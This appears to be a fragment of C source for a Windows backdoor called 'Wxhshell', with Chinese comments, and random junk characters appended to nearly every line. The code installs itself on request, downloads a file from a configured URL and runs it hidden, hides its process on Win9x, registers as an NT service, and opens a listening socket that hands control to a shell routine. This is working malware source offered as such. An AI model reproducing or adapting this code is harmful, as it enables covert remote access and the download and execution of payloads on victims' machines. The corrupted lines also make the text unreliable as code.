ULONG UniqueProcessId; %eB 0)'
ULONG InheritedFromUniqueProcessId;
i-w^pv'
} PROCESS_BASIC_INFORMATION; h`X)sC+
9{@[l!]W
PROCNTQSIP NtQueryInformationProcess; #'fh'$5"
kg?[
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; z %{Z
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; '=K
[3%U
56t9h/y
HANDLE hProcess; D*BZp0x
PROCESS_BASIC_INFORMATION pbi; 16ahU$@-
7Vd"k;:X
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 9J h"1i>x2
if(NULL == hInst ) return 0; ~=91Kxf
8+K=3=05#U
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); S7]\tw_L)
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); NC'+-P'y
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); "<uaG?:
gcDo o2RE
if (!NtQueryInformationProcess) return 0; V/5.37FSb
|b"
h+
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); $Wt0e 4YSu
if(!hProcess) return 0; wZB:7E%
e^2e[rp0
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 1.*VliY
)rcFBD{vM
CloseHandle(hProcess); IlQNo 1
U$jw8I'.
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); "zFv?ay
if(hProcess==NULL) return 0; M &`ZF
+@*}_%^l"
HMODULE hMod; ;^+#
char procName[255]; )c|S)iJ7=z
unsigned long cbNeeded; 7{F(NJUO1
*FhD%><
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Axp#8
Z3jh-{ 0
CloseHandle(hProcess); vC$Q4>m
Z9Prw/8P
if(strstr(procName,"services")) return 1; // 以服务启动 [MLJs-*
"9F]Wv/
return 0; // 注册表启动 }#0MJ6L
} d'j8P
,K4*0!TXP
// 主模块 !;Hi9,<#7g
int StartWxhshell(LPSTR lpCmdLine) BCnf'0q
{ 9{&APxm
SOCKET wsl; 6x18g(KbP
BOOL val=TRUE; rb8c^u#r
int port=0; 5gP<+S#>T
struct sockaddr_in door; 9J>b6
?}f+PP,
if(wscfg.ws_autoins) Install(); iV+'p->/
J6m`XC
port=atoi(lpCmdLine); jC_7cAsl
VjZ_L_U}
if(port<=0) port=wscfg.ws_port; 6@0
wKV!D
si`{>e~`6P
WSADATA data; >)5=6{x
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; s=)0y$
O[nl#$w
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; "= H.$
+
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 1-z*'Ghys
door.sin_family = AF_INET; G` !ff
door.sin_addr.s_addr = inet_addr("127.0.0.1"); %y@iA91K
door.sin_port = htons(port); <9za!.(zu
wLa^pI4p ^
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { R<r"jOd]
closesocket(wsl); !8 3x,*O
return 1; #3uBq(-Z
} &p?Oo^
x.>E7
+
if(listen(wsl,2) == INVALID_SOCKET) { Y~RZf /`
closesocket(wsl); c[=%v]j:u
return 1; R=D\VIu,Z
} zs +[Aco)
Wxhshell(wsl); xP@VK!sc
WSACleanup(); ,+p&ZpH
4fDo }~
return 0; >M` swEj
":,HY)z
} wf7<#jIq
TO\%F}m(
// 以NT服务方式启动 *
*?mZtF
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) niO(>
{ /)80@
DWORD status = 0; ?FRR";
DWORD specificError = 0xfffffff; M/U$x /3K
v}6YbY Tq
serviceStatus.dwServiceType = SERVICE_WIN32; !$q1m@K1
serviceStatus.dwCurrentState = SERVICE_START_PENDING; Tb-`0^y&X1
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; -`e=u<Y9@
serviceStatus.dwWin32ExitCode = 0; vOYcS$,^X%
serviceStatus.dwServiceSpecificExitCode = 0; ixJUq o
serviceStatus.dwCheckPoint = 0; W7NHr5RC
serviceStatus.dwWaitHint = 0; ~L(_q]
lwH&4K
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); /p,D01Ws}(
if (hServiceStatusHandle==0) return; `w Sg/
}iy`Ko+B"b
status = GetLastError(); A>L(#lz#ek
if (status!=NO_ERROR) KmV>tn BQ
{ X7kJWX
serviceStatus.dwCurrentState = SERVICE_STOPPED; x7e
serviceStatus.dwCheckPoint = 0; +DKrX
serviceStatus.dwWaitHint = 0; )!dELS\ix
serviceStatus.dwWin32ExitCode = status; C!w@Naj
serviceStatus.dwServiceSpecificExitCode = specificError; [Hdk=p
SetServiceStatus(hServiceStatusHandle, &serviceStatus); 4~a0
return; i:#R
U^R
} hE:P'O1
mxHNK4/
serviceStatus.dwCurrentState = SERVICE_RUNNING; yh_s(>sh
serviceStatus.dwCheckPoint = 0; 7>{edNy!,
serviceStatus.dwWaitHint = 0; P's <M
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); +2oZB]GPL
} i/xPO
~E^EF{h
// 处理NT服务事件,比如:启动、停止 |~H'V4)zXu
VOID WINAPI NTServiceHandler(DWORD fdwControl) 1jmhh!,
{ _0F6mg n
switch(fdwControl) `Uk,5F5
{ ;_j\E(^%
case SERVICE_CONTROL_STOP: 9r1pdG_C@
serviceStatus.dwWin32ExitCode = 0; CjQ_oNI
serviceStatus.dwCurrentState = SERVICE_STOPPED; {yyg=AMz
serviceStatus.dwCheckPoint = 0; `j>qOT
serviceStatus.dwWaitHint = 0; n 2#uH
{ @=wAk5[IN
SetServiceStatus(hServiceStatusHandle, &serviceStatus); *ep!gT*4
} \g4\a?i
return; k5-mK{RZ
case SERVICE_CONTROL_PAUSE: 8gC(N3/E"
serviceStatus.dwCurrentState = SERVICE_PAUSED; #<'/sqL
break; >^J!Z~;L)
case SERVICE_CONTROL_CONTINUE: P>N\q
serviceStatus.dwCurrentState = SERVICE_RUNNING; s*9tWSd
break; uFdSD
case SERVICE_CONTROL_INTERROGATE: 4kXx(FE
break; flLmZ1"
}; ObM5v rEk|
SetServiceStatus(hServiceStatusHandle, &serviceStatus); q=?"0i&V
} 3C,e>zE}
Xkv>@7ec
// 标准应用程序主函数 95]%j\
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 30H:x@='9
{ 7DYD+N+T
!Rb7q{@>
// 获取操作系统版本 3al5Vu2:
OsIsNt=GetOsVer(); b1*6)
GetModuleFileName(NULL,ExeFile,MAX_PATH); g<.8iW 'c
M3z7P.\G
// 从命令行安装 0>e>G (4(8
if(strpbrk(lpCmdLine,"iI")) Install(); *Mp<4B
9q8
rf\&
// 下载执行文件 4|+
|L_
if(wscfg.ws_downexe) { _^'k_a
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) SiBbz4
WinExec(wscfg.ws_filenam,SW_HIDE); .`h+fqa
} VR:b1XWX
hXrvb[6
if(!OsIsNt) { c//W#V2Q
// 如果时win9x,隐藏进程并且设置为注册表启动 &0C!P=-p
HideProc(); 6nq.~f2`
StartWxhshell(lpCmdLine); 33;|52$
} ?,8b-U#A1
else G/ ^|oJ/G
if(StartFromService()) sNZPv^c
// 以服务方式启动 a0LX<}
StartServiceCtrlDispatcher(DispatchTable); RCX4;,DHx
else # xoFIH
// 普通方式启动 rFK
*
StartWxhshell(lpCmdLine); %4-pw|':
*|3z($*U]
return 0; >S3 >b
}